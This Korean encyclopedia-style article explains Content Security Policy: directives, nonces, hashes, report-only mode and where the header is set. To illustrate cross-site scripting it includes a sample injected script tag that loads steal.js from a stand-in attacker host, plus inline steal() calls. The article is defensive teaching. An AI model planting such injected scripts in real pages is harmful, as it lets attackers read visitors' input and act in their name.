콘텐츠 보안 정책
고친 사람 github-actions[bot]
콘텐츠 보안 정책은 이 페이지가 어디서 온 코드를 실행해도 되는지 서버가 브라우저에게 목록으로 알려 줍니다. 브라우저는 허락받지 못한 코드를 불러오지도 실행하지도 않습니다. 그래서 공격자가 페이지에 스크립트를 몰래 끼워 넣어도 그 스크립트는 돌지 않습니다.
쉽고 빠른 이해
서버가 페이지를 보낼 때 「스크립트는 우리 사이트와 우리가 쓰는 파일 서버에서 온 것만 돌려라」라고 한 줄 적어 보내는 장치입니다.
이게 없으면 게시판 글 같은 곳에 섞여 들어온 공격 스크립트가 우리 사이트의 코드처럼 돕니다. 방문자의 화면과 입력값이 공격자에게 넘어갑니다. 입력을 걸러 내는 것이 먼저입니다. 그런데 한 군데만 놓쳐도 뚫립니다. 이 장치는 뚫린 뒤에도 그 스크립트가 돌지 못하게 막는 두 번째 방어선입니다.
어떻게 도나:
- 서버가 페이지를 돌려줄 때 허락할 출처를 헤더에 적어 보냅니다
- 브라우저는 스크립트를 만날 때마다 그 목록과 견줍니다
- 목록에 없거나 페이지 안에 직접 적힌 스크립트는 실행하지 않습니다
대가도 있습니다. 페이지 안에 직접 적어 둔 우리 스크립트까지 같이 막혀서 기존 코드를 고쳐야 합니다. 외부 도구를 하나 붙일 때마다 목록도 고쳐야 합니다.
상세
콘텐츠 보안 정책은 영어 이름 Content Security Policy 를 줄여 CSP 라고도 부릅니다. 브라우저가 페이지를 그리는 동안 지키는 규칙 묶음입니다. 그 규칙은 서버가 정해 보냅니다.
규칙은 HTTP 헤더에 실려 갑니다. HTTP(HyperText Transfer Protocol)는 브라우저와 서버가 요청과 응답을 주고받는 규약입니다. 헤더는 응답 본문 앞에 붙는 이름과 값의 목록입니다. 서버가 이 목록에 정책 한 줄을 넣어 보내면 브라우저는 그 페이지를 다루는 내내 그 줄을 따릅니다.
이 절은 이 정책이 막으려는 공격 하나에서 출발해 그 헤더 한 줄을 따라갑니다.
동일 출처 정책이 못 막는 공격
브라우저에는 이미 동일 출처 정책이라는 칸막이가 있습니다. 한 사이트의 코드가 다른 사이트의 데이터를 읽지 못하게 막는 규칙입니다. 다른 사이트의 스크립트 파일을 불러와 실행하는 일은 막지 않습니다. 남의 서버에 있는 라이브러리를 불러 쓰는 페이지가 흔하기 때문입니다.
사이트를 가르는 단위는 출처입니다. 주소의 통신 방식·호스트 이름·포트 번호 셋이 모두 같아야 같은 출처입니다. https://a.example/x 와 https://a.example/y 는 경로만 달라서 같은 출처입니다. http://a.example 과 https://a.example:8443 은 통신 방식이나 포트 번호가 달라서 https://a.example 과 다른 출처입니다.
이 칸막이는 출처가 다른 두 쪽 사이만 봅니다. 공격 코드가 피해 사이트의 페이지 안으로 들어와 버리면 브라우저에게는 그 사이트 자신의 코드와 구별되지 않습니다. 이렇게 남의 페이지에 스크립트를 끼워 넣는 공격을 교차 사이트 스크립팅이라고 부릅니다.
게시판에 누군가 아래 글을 올렸다고 해 봅니다. 서버가 이 글을 걸러 내지 않고 페이지에 넣으면, 글을 여는 방문자의 브라우저가 이 줄을 페이지의 일부로 읽습니다.
<p>잘 읽었습니다
<script src="https://evil.example/steal.js"></script>
</p>
steal.js 는 다른 출처에 있지만 불러오는 일은 막히지 않습니다. 받아진 steal.js 는 피해 사이트의 페이지 안에서 그 사이트의 코드로 돕니다.
그 코드는 화면에 뜬 내용과 방문자가 치는 입력값을 읽을 수 있습니다. 로그인한 방문자의 이름으로 서버에 요청을 보낼 수도 있습니다. 읽은 것은 공격자의 서버로 보내면 끝입니다.
근본 처방은 서버가 사용자 입력을 페이지에 넣기 전에 이스케이프하는 것입니다. 이스케이프는 < 같은 글자를 < 로 바꿔 브라우저가 태그로 읽지 않게 만드는 일입니다.
그런데 입력이 페이지에 들어가는 곳은 많습니다. 그중 한 군데만 놓쳐도 뚫립니다. 콘텐츠 보안 정책은 그렇게 뚫린 뒤에도 끼어든 스크립트가 돌지 못하게 막는 두 번째 방어선입니다.
헤더 한 줄의 생김새
정책은 Content-Security-Policy 라는 이름의 헤더에 적습니다. 가장 짧은 꼴은 이렇습니다.
Content-Security-Policy: script-src 'self'
값의 앞머리 script-src 를 지시어라고 부릅니다. 지시어는 무엇을 제한할지 정하는 이름입니다. script-src 는 스크립트를 가리킵니다. 그 뒤에 스크립트를 어디서 받아도 되는지 출처를 늘어놓습니다.
'self' 는 이 페이지와 같은 출처를 뜻합니다. 그래서 위 한 줄은 「스크립트는 우리 출처에서 받은 것만 돌려라」가 됩니다. 앞 소절의 evil.example 은 목록에 없으니 브라우저가 그 파일을 받지 않습니다.
출처를 더 허락하려면 공백으로 이어 적습니다. 아래 줄은 우리 출처에 더해 cdn.example 에서 온 스크립트도 허락합니다.
Content-Security-Policy: script-src 'self' https://cdn.example
작은따옴표가 뜻을 가릅니다. 'self' 처럼 따옴표로 감싼 것은 정책이 미리 정해 둔 낱말입니다. 따옴표 없이 쓴 것은 주소로 읽힙니다. 따옴표를 빠뜨리고 self 라고만 적으면 self 라는 이름의 호스트를 허락한 셈이 됩니다. 우리 출처는 목록에 없으니 막힙니다.
지시어는 스크립트 말고도 여럿입니다. 대개 불러오는 것의 종류마다 하나씩 있습니다. 한 헤더 안에는 세미콜론으로 이어 적습니다. 자주 쓰는 것은 아래와 같습니다.
| 지시어 | 제한하는 것 |
|---|---|
default-src |
불러오는 것 가운데 따로 적지 않은 종류 전부 |
script-src |
스크립트 파일과 페이지 안에 적힌 스크립트 |
style-src |
스타일시트 |
img-src |
이미지 |
connect-src |
스크립트가 여는 연결. fetch 호출 같은 것 |
frame-ancestors |
이 페이지를 자기 안에 띄울 수 있는 바깥 페이지 |
표의 첫 줄이 빈틈을 메웁니다. default-src 를 걸어 두면 이름을 따로 적지 않은 종류는 전부 그 값을 따릅니다. 그래서 흔히 default-src 로 전체를 먼저 좁힙니다. 그리고 더 열어야 하는 종류만 따로 적습니다.
Content-Security-Policy: default-src 'self'; img-src *
이 줄은 모든 종류를 우리 출처로 좁힌 뒤 이미지만 풀어 줍니다. * 는 아무 호스트나 된다는 뜻입니다.
표의 마지막 줄 frame-ancestors 는 방향이 반대입니다. 이 페이지가 무엇을 불러올지가 아니라 누가 이 페이지를 불러갈지를 정합니다. 그래서 default-src 를 따르지 않아 따로 적어야 합니다. 남의 페이지 안에 이 페이지를 몰래 띄워 클릭을 가로채는 클릭재킹을 막는 지시어입니다.
브라우저가 막는 차례
헤더가 도착한 뒤의 흐름을 따라가 봅니다. 서버는 페이지와 정책을 한 응답에 실어 보냅니다. 브라우저는 페이지를 그리다가 무언가를 불러와야 할 때마다 먼저 정책과 견줍니다.
sequenceDiagram
participant 서버
participant 브라우저
participant 허락 as cdn.example
participant 공격 as evil.example
서버-->>브라우저: 페이지와 정책 헤더
브라우저->>허락: 목록에 있다 · 파일을 달라
허락-->>브라우저: 스크립트 파일
Note over 브라우저,공격: 목록에 없다 · 요청을 보내지 않는다
그림의 마지막 줄을 봅니다. 목록에 없는 출처로는 요청이 아예 나가지 않습니다. 공격 스크립트는 받아지지도 않았으니 실행될 일도 없습니다.
페이지 안에 적힌 스크립트
공격자가 늘 파일 주소를 끼워 넣는 것은 아닙니다. 스크립트 본문을 페이지에 바로 적어 넣을 수도 있습니다. 이렇게 파일 없이 페이지 안에 직접 적힌 스크립트를 인라인 스크립트라고 부릅니다.
<script>steal()</script>
<button onclick="steal()">보기</button>
첫 줄은 <script> 블록 안에 코드를 적었습니다. 둘째 줄은 버튼의 onclick 속성에 코드를 적었습니다. 둘 다 파일 없이 페이지 안에 적힌 인라인 스크립트입니다.
브라우저는 페이지 안에 적힌 스크립트가 원래 개발자가 쓴 것인지 공격자가 끼운 것인지 가리지 못합니다. 그래서 script-src 를 걸면 인라인 스크립트는 둘 다 막힙니다. 목록에 우리 출처를 적어 두어도 마찬가지입니다.
이 제한을 푸는 낱말이 'unsafe-inline' 입니다. 목록에 넣으면 인라인 스크립트가 다시 돕니다. 공격자가 끼운 인라인 스크립트도 함께 돌기 때문에 이 정책이 막던 공격 대부분이 다시 열립니다.
논스와 해시로 하나씩 허락하기
개발자가 쓴 인라인 스크립트만 골라 허락하는 길이 둘 있습니다. 첫째는 논스입니다. 논스는 한 번만 쓰고 버리는 임의 값입니다. 서버가 응답을 보낼 때마다 새로 만듭니다.
서버는 같은 논스를 헤더와 <script> 태그 양쪽에 적습니다. 브라우저는 두 값이 맞는 태그만 실행합니다. 공격자는 다음 응답의 값을 미리 알 수 없어서 자기 스크립트에 맞는 값을 붙이지 못합니다.
Content-Security-Policy: script-src 'nonce-k3'
이 헤더가 붙은 페이지 안에 아래 두 태그가 있으면 이렇게 갈립니다.
<script nonce="k3">a()</script> <!--돈다-->
<script>b()</script> <!--막힘-->
실제 논스는 k3 처럼 짧지 않습니다. 남이 짐작할 수 없도록 긴 무작위 문자열을 난수 생성기로 만듭니다. 값을 고정해 두면 공격자도 그 값을 알게 되어 논스를 쓰는 뜻이 사라집니다.
논스는 <script> 태그에만 붙습니다. onclick 같은 속성에 적은 코드는 논스를 달 데가 없습니다. 그런 코드는 스크립트 파일로 옮깁니다. 버튼에 반응을 거는 일도 그 파일 안의 코드가 맡게 고칩니다.
둘째는 해시입니다. 해시 함수는 어떤 내용을 넣든 정해진 길이의 값을 내놓는 계산입니다. 내용이 한 글자만 달라도 전혀 다른 값이 나옵니다.
서버는 허락할 인라인 스크립트의 내용을 해시 함수에 넣습니다. 거기서 나온 값을 헤더에 적어 둡니다. 브라우저는 페이지 안의 스크립트를 같은 방식으로 계산해 봅니다. 그 값이 목록에 있을 때만 실행합니다.
Content-Security-Policy: script-src 'sha256-<해시 값>'
두 방법은 쓰는 때가 갈립니다. 논스는 응답마다 값이 바뀌므로, 서버가 요청을 받을 때마다 페이지를 만들어 내는 경우에 맞습니다. 해시는 스크립트 내용이 안 바뀌면 값도 안 바뀌므로, 미리 만들어 둔 파일을 그대로 내주는 페이지에 맞습니다.
지금까지 본 판정을 한 그림으로 모으면 이렇습니다. 스크립트가 어디 적혔느냐에 따라 견주는 대상이 달라집니다.
flowchart TD
A["스크립트를 만난다"] --> B{"어디에 적혔나"}
B -->|"파일 주소"| C{"출처가 목록에 있나"}
B -->|"페이지 안"| D{"논스나 해시가 맞나"}
C -->|있다| R["실행한다"]
C -->|없다| X["막는다"]
D -->|맞다| R
D -->|아니다| X
막기 전에 보고만 받기
정책을 처음 거는 사이트는 거의 늘 무언가가 깨집니다. 이미 쓰던 인라인 스크립트와 잊고 있던 외부 위젯이 한꺼번에 막히기 때문입니다. 그래서 막지 않고 위반만 알려 주는 헤더가 따로 있습니다.
Content-Security-Policy-Report-Only: default-src 'self'
이 헤더가 붙으면 브라우저는 정책에 어긋나는 것도 평소처럼 불러와 실행합니다. 대신 무엇이 어긋났는지 적은 보고서를 서버로 보냅니다. 보고서를 받을 주소는 report-uri 나 report-to 지시어로 정합니다.
보고서는 JSON(JavaScript Object Notation) 형식의 글 한 덩이입니다. 어느 페이지에서 어느 지시어가 어떤 주소를 걸렀는지가 담깁니다. 서버는 이 보고를 모아 목록을 고칩니다.
새 보고가 더 오지 않으면 같은 정책을 막는 헤더로 옮깁니다. 막는 헤더에도 보고 주소를 달아 둘 수 있습니다. 그러면 운영 중에 막힌 시도가 서버에 쌓여 공격이 들어오는지 볼 수 있습니다.
헤더를 붙이는 곳
정책은 페이지를 돌려주는 응답마다 붙어야 합니다. 헤더가 빠진 페이지는 정책 없이 그려집니다. 핸들러마다 손으로 붙이지 말고 한곳에서 한 번에 붙입니다.
그 한곳이 대개 미들웨어입니다. 미들웨어는 요청과 응답이 지나가는 길목에 끼워 두고 공통 처리를 하는 코드입니다. 웹 서버나 앞단에서 요청을 받아 넘기는 리버스 프록시의 설정에서 붙이기도 합니다.
논스를 쓴다면 붙이는 곳이 달라집니다. 응답마다 새 값을 만들어 헤더와 페이지 양쪽에 같은 값을 넣어야 합니다. 이 일은 페이지를 만드는 애플리케이션 코드가 맡습니다.
정책을 거는 대가
막는 힘은 목록을 좁게 적을수록 커집니다. 목록을 좁히면 그만큼 관리할 일이 늘어납니다. 분석 도구나 채팅 위젯 같은 외부 스크립트를 하나 붙일 때마다 그 출처를 목록에 더해야 합니다.
외부 스크립트가 또 다른 곳에서 스크립트를 불러오면 그 출처도 목록에 들어가야 합니다. 이 사슬을 다 따라가지 못하면 기능이 조용히 깨집니다.
거꾸로 목록을 넓게 적으면 막는 힘이 약해집니다. 흔한 예가 CDN 을 통째로 허락하는 경우입니다.
CDN(Content Delivery Network, 콘텐츠 전송 네트워크)은 같은 파일을 여러 지역의 서버에 복사해 가까운 곳에서 내주는 서비스입니다. 여러 사이트가 함께 쓰는 공용 CDN 가운데에는 공개된 라이브러리를 누구나 올리고 받아 쓰게 하는 곳이 있습니다.
이런 CDN 을 목록에 통째로 넣으면 공격자도 거기 자기 스크립트를 올릴 수 있습니다. 그 주소를 끼워 넣으면 목록에 있는 출처라서 브라우저가 실행합니다.
이 정책이 막지 못하는 것
콘텐츠 보안 정책은 끼어든 코드가 도는 것을 막을 뿐입니다. 서버가 입력을 걸러 내지 않은 구멍은 그대로 남습니다.
스크립트가 필요 없는 공격도 있습니다. HTML(HyperText Markup Language)은 페이지의 뼈대를 적는 언어입니다. 공격자가 가짜 로그인 입력란 같은 HTML 조각만 끼워 넣으면 script-src 로는 막을 것이 없습니다.
이 헤더를 이해하지 못하는 오래된 브라우저는 이 줄을 무시하고 페이지를 그립니다. 그래서 이 정책은 입력 걸러 내기를 대신하지 못합니다. 그 위에 한 겹 더 얹는 방어로 씁니다.
관련 항목
이 정책이 막으려는 공격
교차 사이트 스크립팅 · DOM 기반 XSS · 클릭재킹 · HTML 인젝션 · 공급망 공격
이 정책을 이루는 지시어
default-src · script-src · style-src · connect-src · frame-ancestors · report-to
인라인 스크립트를 골라 허락하는 수단
인라인 스크립트 · 논스 · 해시 함수 · strict-dynamic · unsafe-inline
이 정책이 기대는 브라우저 규칙
동일 출처 정책 · 출처 · HTTP 헤더 · 브라우저
브라우저를 함께 지키는 다른 보안 장치
X-Frame-Options · Trusted Types · 하위 리소스 무결성 · HttpOnly · SameSite 쿠키 · 사이트 격리 · HSTS · 샌드박스 · 혼합 콘텐츠
이 헤더를 응답에 붙이는 서버 쪽 부품
이 정책이 따르는 보안 원칙
다른 이름: Content Security Policy · CSP · Content-Security-Policy · 컨텐츠 보안 정책